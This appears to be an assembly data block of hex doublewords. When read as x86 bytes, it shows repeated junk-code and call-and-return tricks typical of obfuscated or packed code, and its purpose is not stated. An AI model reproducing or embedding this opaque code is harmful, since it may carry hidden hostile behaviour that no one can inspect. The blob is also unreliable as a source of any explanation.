		dd 70069BDh, 850F0306h,	42Ch, 19B59589h, 0B70F0607h, 72BD83FFh
		dd 60AB3h, 416840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0D61F80C3h, 46B24BADh
		dd 0F53A891h, 0FF5FDABFh, 0AB372B5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BD8BF432h
		dd 607078Dh, 154595FFh,	6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0F3A009C3h, 2DBD8924h
		dd 8B06072Bh, 0AB366B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 106C75Eh, 66000100h, 0E950FE8Bh
		dd 0Dh,	0D3B952A6h, 0F9005D62h,	1670212Ah, 243489D2h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A0C35343h, 0CB81D328h
		dd 6BB6AE28h, 0B372B5FFh, 9D2B060Ah, 60723CDh, 91195FFh
		dd 0BD8B0607h, 6071ED5h, 0B366B58Bh, 6A060Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0D69A5C3h
		dd 2DF07C56h, 666B5F43h, 8B660CBFh, 72CC985h, 0B9BD2B06h
		dd 89060717h, 0C486h, 0C1CB8100h, 8B0E0C3Fh, 71B4195h
		dd 8E0F5606h, 6, 0DEDDCF81h, 835F744Fh,	6A04C2h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 425ECC3h, 5089D248h,	57006A20h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0F05CD6Ch, 0DCB35FDBh
		dd 0DBBF0F9Ah, 858DFB8Bh, 60AC7EDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3FC35747h
		dd 198589D1h, 89060726h, 0B886h, 599D8B00h, 6A060718h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0C74DB1F9h, 0B372B5FFh, 6A060Ah,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 2F8A1AC3h, 0E39123DAh, 0FFFFBF0Fh, 729FD95h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BB3C2C4h, 70C759Dh,	0E0BB5006h, 893E6700h, 6A2434h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8B346AC3h, 8E8F8h, 0B73F0000h, 9EECE105h, 0FF5B0B09h
		dd 0AB372B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0F50D4ECBh, 0E845ABCBh, 0Ch, 0D943E788h
		dd 111A3B97h, 0EF32E06Ah, 0A595FF5Bh, 6A06071Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0AFACC355h, 0B4D3CB5Dh, 8E9B56Ah, 8E000000h,	7493BFCh
		dd 8340EC23h, 708ADBDh,	840F0006h, 48h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 2EC35646h, 89BA0E07h
		dd 71D89BDh, 52509606h,	0FF98B66h, 50525031h, 5A310F52h
		dd 66310F58h, 585AF98Bh, 6650585Ah, 6696F98Bh, 0F88BD98Bh
		dd 0B372B5FFh, 5EB7060Ah, 260595FFh, 0BD8B0607h, 60729B1h
		dd 0B372B5FFh, 0DC8A060Ah, 0FFFA8B66h, 71DF195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 3138EC0h, 0F781664Ch, 8D0F3A99h, 3, 83D88B66h, 703B1BDh
		dd 840F0206h, 5Ch, 165DBD8Bh, 858B0607h, 6070749h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 96C35747h, 0DFFA475Bh
		dd 0D98B6656h, 6A0000C6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0A66C352h, 6B725F94h
		dd 85896545h, 60722A9h,	0F4985C7h, 607h, 0BD890000h, 60706C5h
		dd 0FFF380E9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BD8922B9h, 6072275h
		dd 798FAFBBh, 3C18B64h,	7122D9Dh, 19858D06h, 6A06071Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 8D7AC352h, 25B331Ah, 90F0DDFBh, 310F5250h
		dd 0CE9h, 215B6800h, 6204C7B7h,	0E5CF89D8h, 50585A9Fh
		dd 96CAA2BFh, 6AF8901Eh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 6AF93Ch, 0C78166h, 0B1CF8031h
		dd 7147858Dh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0EC157AC3h, 2F3BAA72h, 6A05C083h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0B2A1C353h, 2538AC54h, 239882D8h,	71E519Dh
		dd 0D1BB5006h, 894F44CBh, 0B70F2404h, 6A006AFBh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 8AF2C357h, 759866B7h, 8E0F006Ah, 6, 10D9D33h, 95FF0607h
		dd 6071BCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0F3C35141h, 5FC78057h, 0A5B78D8Dh, 8D29060Ah, 6072D81h
		dd 0C380D1FFh, 95BD8338h, 1060719h, 46850Fh, 9D030000h
		dd 607233Dh, 154D9D23h,	26A0607h, 0C0C38166h, 505090CFh
		dd 5F616050h, 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 326175C3h, 963B13E6h, 95FFD449h
		dd 60729FDh, 0D26E9h, 0E800h, 815D0000h, 0B7151EDh, 0E1BD8906h
		dd 6A06071Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 3BF9C356h, 77D31C14h, 858D6651h
		dd 60A910Ah, 121DBD0Bh,	8A900607h, 809050F8h, 0FF64CFC3h
		dd 35h,	0B99D8B00h, 6606072Dh, 6420F6BFh, 2589h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0E866C7C3h, 9D8957D3h, 6072D51h, 0A585FF5Fh,	8906070Fh
		dd 702298Dh, 6AFF6A06h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 9631C350h, 0B5FFD537h
		dd 6070C35h, 7F78166h, 7E844h, 56300000h, 98930779h, 14E918h
		dd 1DD60000h, 1DFA3D73h, 0DBBF29CFh, 585FBA6Fh,	7A6F1B2Dh
		dd 0FF5B4A78h, 7303595h, 13AE906h, 8C0F0000h, 6, 5C5BD8Bh
		dd 0B00607h, 70E6D98Bh,	0FBDDA5BBh, 0FD9D8B67h,	0E406071Ah
		dd 0D3BB6671h, 0F613CE9h, 10F83h, 89BD8B00h, 0F060717h
		dd 0B70FC8B6h, 6BADBh, 0C18B0000h, 0F04E8C1h, 1082h, 0BE900h
		dd 89660000h, 7241217Dh, 49F4AFADh, 0E2F766EAh,	1A51BD8Bh
		dd 0DE80607h, 93000000h, 0EF9D430Bh, 9252C9FDh,	4A992794h
		dd 0FE59D89h, 2B5F0607h, 5BF851C8h, 0E4BFD18Bh,	570EAA04h
		dd 6B59D31h, 0E95B0607h, 20h, 0A5B50B60h, 0E9060726h, 13h
		dd 7B4D3DECh, 0BBD635A0h, 0B2DABCB8h, 8A5F9C3Fh, 61EA97F2h
		dd 2FBD858Bh, 0CE90607h, 1A000000h, 0FD492175h,	38C47AB3h
		dd 83E72F0Dh, 0C08307C0h, 0D03BF900h, 22830Fh, 8B520000h
		dd 72DB1BDh, 55E95B06h,	0E9000000h, 10h, 0A5A197CFh, 0D331A6A9h
		dd 0B7A77BBAh, 0BEC7C1FDh, 31258D8Bh, 81660607h, 83002DC7h
		dd 840F01E1h, 2Ch, 0A583C8B3h, 6073125h, 5D9D8BFEh, 8906072Dh
		dd 72FBD95h, 0DE906h, 24620000h, 0F0421122h, 0B378C933h
		dd 0E9D32B87h, 0
		dd 0F957B58Dh, 0BD0B060Ah, 6072CFDh, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BF0F3AC3h
		dd 599D89FAh, 0FF060717h, 7320195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FF594F8h
		dd 0BD8BDFB7h, 6072C0Dh, 7A8B9h, 5E900h, 9F8B0000h, 83F46D58h
		dd 9D29FCE1h, 6071E49h,	53006AFCh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0D9C197EFh, 9D8997B5h
		dd 60722A1h, 0D22BC02Bh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 54C35242h, 8CC5F8Eh, 0ADBF2B93h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 26C35646h, 6A83E780h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0DEEC353h
		dd 0BB662515h, 880D1B53h, 66000000h, 0D6EDCF81h, 1B41958Bh
		dd 81660607h, 8B354AEFh, 706058Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 51652842h
		dd 0FE220B24h, 8960344Ah, 7166585h, 59950B06h, 6106072Dh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 97F28AC3h, 83A605EAh, 70BD1BDh, 840F0006h, 82h, 0FA1BD89h
		dd 0B80607h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 7B61C355h, 8DF4D604h
		dd 74DB48Dh, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0B06C45C0h, 0D7363A92h, 0F380ADB7h
		dd 0A5BD098Bh, 0FF060730h, 52006AE1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 66F943C7h
		dd 0BD83FA8Bh, 6070069h, 0FB840F00h, 50000003h,	7E8h, 36321100h
		dd 0B4A1645Fh, 8A9B589h, 5F5F0607h, 69BD83h, 0F010607h
		dd 3F484h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 5B59703h,	8B8B4967h, 72FB99Dh, 69BD8306h
		dd 3060700h, 389860Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0F0450CC3h, 0F4DCB5FCh
		dd 6014D6E4h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0FDC35646h, 0B5896CB4h,	6071599h, 6AD98C66h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 92D6C351h, 500A54D0h, 26C9BD8Bh, 805F0607h, 9D8B04E1h
		dd 607296Dh, 840FC90Ah,	119h, 2ABD9D89h, 858B0607h, 607306Dh
		dd 31FDBD8Bh, 85330607h, 6073305h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 49C35545h, 72C8AB10h, 0BD89F9AEh
		dd 6071755h, 26BB6650h,	24048954h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0CEC35646h,	0FEC78155h, 2CE59529h
		dd 81660607h, 6A96FAD7h, 68FE8B00h, 57A73159h, 0BB665250h
		dd 310FBB8Dh, 13E9h, 0B4EA100h,	8E74BFBCh, 0C95716BFh
		dd 315E7D54h, 0B47C7AFBh, 3481585Ah, 0B832A624h, 50006A57h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 5842E9FEh, 438A536h,	0BB66153Dh, 95FF96FCh, 6071B91h
		dd 8E9FE8Bh, 90000000h,	3ABAB064h, 8980A58Eh, 0AB37285h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 3DEF5D2Bh, 0A9ECDA1Eh, 0F8DBD8Bh, 9EE90607h
		dd 0B3000001h, 6A858BCCh, 6A060AB3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D238C353h
		dd 2262F659h, 66F59B6Fh, 214BDF81h, 1800C7h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0BCA79AC3h, 60FC093Bh, 61F9F88Bh, 0B36EB58Bh, 0EE8060Ah
		dd 86000000h, 2855EF65h, 7249CC4Eh, 24910A25h, 0A7BF664Bh
		dd 95895BCBh, 6072A91h,	1579858Bh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0EBE2A0C3h
		dd 50B7D1Bh, 9D0117FDh,	6071A95h, 9D890689h, 607017Dh
		dd 306D858Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 29F29FC3h, 726F9BDh, 4468906h, 30BCBB66h
		dd 48B0F50h, 66000000h,	893997BBh, 6A2434h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 5E0AD0C3h
		dd 0B738FEA0h, 575BF66h, 0B36AB5FFh, 6A060Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8C6836C3h
		dd 50929C54h, 2404815Fh, 6D82AF73h, 0B66ECF81h,	858D7534h
		dd 60AB372h, 16959D89h,	0E9500607h, 5, 18D50C45h, 24048988h
		dd 28B0BFF9h, 95FF3059h, 6071B91h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 35C35646h, 0F65E2885h, 201DC5C9h
		dd 85896175h, 60722D5h,	6985C7h, 30607h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F0BB1C3h, 28Ch, 83FE8B00h, 0AB372BDh, 840F0006h, 0Bh
		dd 0E9A5CF80h, 1Eh, 50DA8B66h, 110C30h,	0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0BD8BC08Bh, 60725B5h, 83D8BF0Fh
		dd 70069BDh, 850F0306h,	464h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0AFC35141h,	19D9DD1Ah, 0FAF6C8Ah
		dd 0BD83DBBFh, 60AB372h, 31840F00h, 6A000004h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0F793C352h, 89AA59DEh, 717B98Dh, 0ECBF6606h,	72B5FF3Eh
		dd 6A060AB3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 17CBC352h, 4595FFF5h, 0E9060715h
		dd 7, 0EEC7719Ah, 8B316313h, 0AB366B5h,	51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0F069224h, 6C7DABFh,	10001h,	8B50EFB7h, 243489FBh, 317DBD8Bh
		dd 0B5FF0607h, 60AB372h, 91195FFh, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0BF685BC3h
		dd 2144F340h, 0E9CFED4Ah, 6, 4B6757D4h,	0B58B48ECh, 60AB366h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EBC35747h
		dd 0D6DD392h, 3714612h,	72A719Dh, 0C9858B06h, 6A06072Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 167BC355h, 317F8BBh, 86895130h, 0C4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E0C35747h
		dd 1DB1A956h, 2FDDBD8Bh, 9530607h, 707D1B5h, 958B5B06h
		dd 6071B41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	45C35545h, 0DE55DD3Eh, 8B669FAFh, 4C283F9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 9DC35343h, 69BD8B23h
		dd 8906071Bh, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 7D779FC3h, 93CA09CFh, 858DBEEDh
		dd 60AC7EDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	62C35141h, 78D424BCh, 13E9BB14h, 63000000h, 6111B302h
		dd 6AEFB476h, 1037EBBEh, 0E386FC9h, 8689AA45h, 0B8h, 309D8D01h
		dd 6A0607h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 16h,	0EAC35747h, 2EBB37F2h, 0F8049FF8h, 0B372B5FFh
		dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 85F53FC3h, 0F9BF08E8h, 29FD95FFh,	0DBBF0607h
		dd 96325D99h, 96DA8B50h, 0BE9h,	353FE100h, 205C6BCBh, 3CA15C3Ah
		dd 18CD9529h, 0B5FF0607h, 60AB372h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 32C35343h, 9BC3226Eh, 8B8A339Bh
		dd 0A595FFF8h, 0BB06071Ah, 26D03F71h, 8ADBD83h,	0F000607h
		dd 4F84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 96BF6B5Ch, 0D08B6660h, 0A0BF5061h
		dd 967F96D0h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	2EC35242h, 0EC8A99E7h, 0DBB70F79h, 0B372B5FFh
		dd 9D8B060Ah, 6070BC9h,	260595FFh, 0B5FF0607h, 60AB372h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A5C35545h
		dd 0B577474Eh, 52DA5C65h, 0CE8h, 117D3900h, 90BCCE8Bh
		dd 0BFCC8477h, 199D8944h, 5B06072Bh, 0DB4E08BBh, 0F195FF1Bh
		dd 6A06071Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 693C357h, 0E0D5E449h, 0F7FD25F7h
		dd 68D0Fh, 85890000h, 6073019h,	3B1BD83h, 0F020607h, 5984h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 67BB7373h, 3015966Fh, 8BF9B70Fh,	7074985h
		dd 49B58906h, 0C6060717h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0D25BA3C3h, 10218D89h
		dd 85C70607h, 6070F49h,	0
		dd 0B48EBF66h, 0FFF384E9h, 8E9FFh, 7A3D0000h, 0C79E822Eh
		dd 0C18B4C75h, 66FEB70Fh, 8D00BEBBh, 71F1985h, 0E7805206h
		dd 0B7905F6Fh, 8B665081h, 850990FBh, 6070751h, 0BD89006Ah
		dd 6071DCDh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0EBDC32C3h, 3F25694Dh, 8B76D8A9h
		dd 72F899Dh, 0E5BD2B06h, 8D06072Fh, 0B7FBC85h, 5C08306h
		dd 7959D8Bh, 8B500607h,	240489FEh, 499D0B60h, 0F506070Ah
		dd 0BB006A61h, 408BFA1Ah, 0F380006Ah, 0CD95FFDBh, 0F06071Bh
		dd 0E8Dh, 9E900h, 0EFCC0000h, 0B4C04852h, 81E70F41h, 0E60A0DDBh
		dd 0B78D8D5Bh, 6A060AA5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 9C81C357h, 0B302CEF9h
		dd 66D1FFEDh, 5BAFE381h, 1995BD83h, 0F010607h, 7085h, 6AFE8B00h
		dd 51006A02h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0AC03B3B4h, 2063F439h, 0BDBD8B3Bh, 9006072Eh
		dd 20D4BF66h, 0BB665150h, 905B0E30h, 6882BF66h,	29FD95FFh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 6BE8AEC3h, 415DFD1Bh, 9660796h, 704F195h
		dd 0C3BE906h, 0E80000h,	5D000000h, 7FC6ED81h, 9D01060Bh
		dd 6073369h, 0E866BF66h, 910A858Dh, 0BF0F060Ah,	525050FFh
		dd 872DBF66h, 870F310Fh, 2, 585A6160h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 9439C357h, 64938B84h, 35FFh,	89640000h, 25h,	0A888BF00h
		dd 0F98B540Ah, 0FA585FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0AE9CFC3h, 0A5000000h
		dd 544C3DE5h, 8BB24E16h, 0FE931h, 4E620000h, 0C0E39E06h
		dd 0B27F3979h, 84289BD2h, 6AFF6A5Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0D25FC352h
		dd 3382A06h, 299597E3h,	7186585h, 0BE906h, 0F2C00000h
		dd 0E29208C5h, 0BA2EE2B5h, 0A1B5FF88h, 6A060730h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0AEEDC356h, 10BBDE8Bh, 0FF35A9EEh, 7303595h,	104E906h
		dd 9D8B0000h, 6071D21h,	5E900B0h, 0DA000000h, 0C1CD705Eh
		dd 18A5BD29h, 70E60607h, 9D8BFE8Bh, 6071FE1h, 0EE871E4h
		dd 0D7000000h, 302C6DC0h, 0DDB38E20h, 325E0C38h, 0E381664Dh
		dd 3C5BBFEBh, 0BF830F61h, 0B7000000h, 0C8B60F60h, 0A890Fh
		dd 5E90000h, 79000000h,	0E0D2A969h, 6BAh, 51BD8B00h, 8B06070Ah
		dd 0F88B66C1h, 6604E8C1h, 0D6FCF781h, 0FE2F766h, 0C82BD9BFh
		dd 221D8D89h, 0D18B0607h, 21A59D89h, 5E90607h, 51000000h
		dd 5F6EE780h, 2B31858Bh, 73BF0607h, 8935487Bh, 72A59BDh
		dd 7C08306h, 1079B509h,	0C0830607h, 74B75200h, 0FD03B5Fh
		dd 1283h, 43E9F500h, 0F000000h,	682h, 0F98D0900h, 8B060707h
		dd 71C5D8Dh, 0F88B6606h, 0F01E183h, 2584h, 0C99D0B00h
		dd 8306070Bh, 71C5DA5h,	9531FE06h, 6071B31h, 61CA8B60h
		dd 2B319589h, 0BF0F0607h, 0E9D9h, 0B58D0000h, 60B0318h
		dd 9E9h, 0F4927200h, 30309C82h,	6A02E4h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 55C35343h, 2329AB0Fh
		dd 95FF57EEh, 6073201h,	0B9FBB70Fh, 7ECh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 0C3C35040h, 995B501h
		dd 0E1830607h, 0B58951FCh, 60716FDh, 0D781FC5Fh, 78EB5B4Bh
		dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0DE8A768Bh, 0BD8BD22Bh, 6072AC1h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 1175B589h, 6A0607h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 60E99CC3h, 0E91E5DE8h, 8, 5607C66h, 0C105D764h, 880Dh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0FC90FBD7h, 1B41958Bh, 13E90607h, 0FE000000h
		dd 80D584EEh, 13BD1810h, 6B39CD78h, 767A3BAh, 8D8BAB21h
		dd 6070605h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	37C35646h, 85C2AECDh, 0CA456E7Fh, 1799D29h, 8B500607h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0B70FDD8Ah
		dd 0D1BD83D8h, 6070Bh, 60840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 1A76EFC3h
		dd 652A458Eh, 81660C5Bh, 0B81807F7h, 0
		dd 0BE9h, 9772F300h, 0C607366Ah, 6A77C683h, 4DB48D8Dh
		dd 8D290607h, 607079Dh,	8B19D8Bh, 0E1FF0607h, 6D858B60h
		dd 31060707h, 71AFD9Dh,	0BD836106h, 6070069h, 78840F00h
		dd 81000004h, 28FE9ACBh, 69BD831Eh, 1060700h, 480840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0BFBA76C3h, 243A6CC8h, 69BD83h, 0F030607h
		dd 41B86h, 88F0F00h, 60000000h,	1C958D89h, 60610607h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 56C35343h, 0D593F24Eh
		dd 66E311C5h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0A9AEA2C3h, 4DB52960h, 8906071Ah
		dd 71F2995h, 0E1806106h, 70DEBB04h, 0C90A7F0Bh,	177840Fh
		dd 0E9600000h, 6, 16A3DB83h, 8D89D1D3h,	607160Dh, 0B70F5161h
		dd 858B5FD9h, 607306Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0DFC35141h, 1D82A720h, 2C0F21BFh, 84CB810Ch
		dd 333B9DA3h, 7330585h,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 30C2DB34h, 6735B366h
		dd 525077F9h, 14E9h, 15E54D00h,	0CA79E34Dh, 0B6024CE3h
		dd 7A041FBEh, 6E8D060Fh, 4895FEBh, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 89BC8C8Ch
		dd 7235D95h, 6A006A06h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 1E63C351h, 87889760h
		dd 877A68A6h, 0BB66BD56h, 4813751h, 0C87C8524h,	9195FF42h
		dd 6A06071Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 23C4C352h, 0B11C525Bh,	0BF6681BAh
		dd 8589620Eh, 60AB372h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0ACC35343h, 953D8496h, 6E9h, 0D38AF600h
		dd 0E99B0FC5h, 1F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 21C35747h, 6A9529A5h,	89D29B4Ch, 7227D95h
		dd 6A858B06h, 1060AB3h,	730B185h, 1800C706h, 66000000h
		dd 0CCA9D781h, 26758D31h, 0B58B0607h, 60AB36Eh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C1C35242h, 76B120B9h
		dd 603EFA44h, 1B5D8509h, 0B58B0607h, 607096Dh, 11E961h
		dd 2BC20000h, 90A234CCh, 6D68093Dh, 5956D004h, 8BFF0E32h
		dd 7157985h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 31F11A9Bh, 0F1C2404h, 58Eh, 0D3816600h
		dd 6893629h, 1ADD9D8Bh,	858B0607h, 607306Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9BC35040h, 93B41A74h
		dd 796C5C57h, 6A044689h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 291BC352h, 5840Fh
		dd 41BB0000h, 0F9542637h, 5031B796h, 85C38196h,	0FF7B5952h
		dd 0AB36AB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0CDF7182Ah, 2A14D9EEh, 4EB0683Eh
		dd 0CE80351h, 0FB000000h, 0D09D8A60h, 34961CE9h, 5F7136BCh
		dd 4F243481h, 0E9034E4Dh, 0Bh, 0C64B31CEh, 0EE36C38Fh
		dd 8B5B468Ch, 732ED9Dh,	72858D06h, 0E9060AB3h, 0Bh, 0BCC43E1Ah
		dd 630E6EA6h, 90B21A42h, 6050DA8Bh, 66F88B66h, 61FCB6BFh
		dd 51006A90h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
